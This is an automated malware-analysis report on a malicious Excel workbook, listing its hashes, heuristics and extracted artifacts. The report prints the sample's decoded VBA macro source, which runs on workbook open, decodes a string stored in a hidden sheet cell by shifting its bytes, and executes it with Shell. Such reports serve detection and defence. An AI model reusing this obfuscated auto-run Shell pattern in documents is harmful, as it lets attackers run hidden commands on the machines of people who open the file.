Office (OOXML) malware analysis — malicious · 8d6763e3d0f37011

MALICIOUS

Office (OOXML)

15.3 KB Created: 2020-03-14 20:22:30 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-11-12

MD5: ae17a055688023528bbd0fd7ef6d9695 SHA-1: 2a66f88b16ae40010beb56c1af87ce53c1bdf5eb SHA-256: 8d6763e3d0f370116bf0ecba75ed665d56fbc391b372a924d9e74e62fd3f6563

150 Risk Score

Heuristics 5

Excel 4.0 macro sheet (1 sheet(s)) critical OOXML_XLM_MACROSHEET

Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
VBA project inside OOXML medium 2 related findings OOXML_VBA

Document contains a VBA project — VBA macros present

Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA

Matched line in script

                                                                Shell SigiSmund

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
                Sub Workbook_Open()
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	3010 bytes
SHA-256: `b431ed37aef16139409a26962ec2cd2050df871232aa83d124823a27c5ae4e58`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "BuÇalismaKitabi" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Option Explicit Public SigiSmund As String Private Sub Init() SigiSmund = Sheets("e451dcfc43b378f").Cells(134, 8).Value NarcomaNia End Sub Sub Workbook_Open() Call Init End Sub Private Sub NarcomaNia() Dim Outsparkle As Long: Dim Misthrow() As Byte Misthrow = StrConv(SigiSmund, 128) GoTo Audley Exit Sub Audley: If Outsparkle < UBound(Misthrow) Then Misthrow(Outsparkle) = Misthrow(Outsparkle) - 15: Outsparkle = Outsparkle + 1 GoTo Audley Else GoTo Saucier End If Cibber: Shell SigiSmund Exit Sub Saucier: SigiSmund = StrConv(Misthrow, 64) GoTo Cibber Exit Sub End Sub Attribute VB_Name = "Sayfa1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	13824 bytes
SHA-256: `ea017308dc49f13d2478a532c9191f08bf74f5a9dd1b3cfc4ff6c239043bf6ee`
`xlm_sheet_00.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet1.xml	1183 bytes
SHA-256: `4ba2e59cbede586b9456f78bb5f2b44688ed0b76b645d5f677a7e00d6192d4d6`
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{EC4BE485-D847-4E5E-8ADF-15C3D01F25DF}"><dimension ref="H134"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><sheetData><row r="134" spans="8:8" x14ac:dyDescent="0.3"><c r="H134" t="s"><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.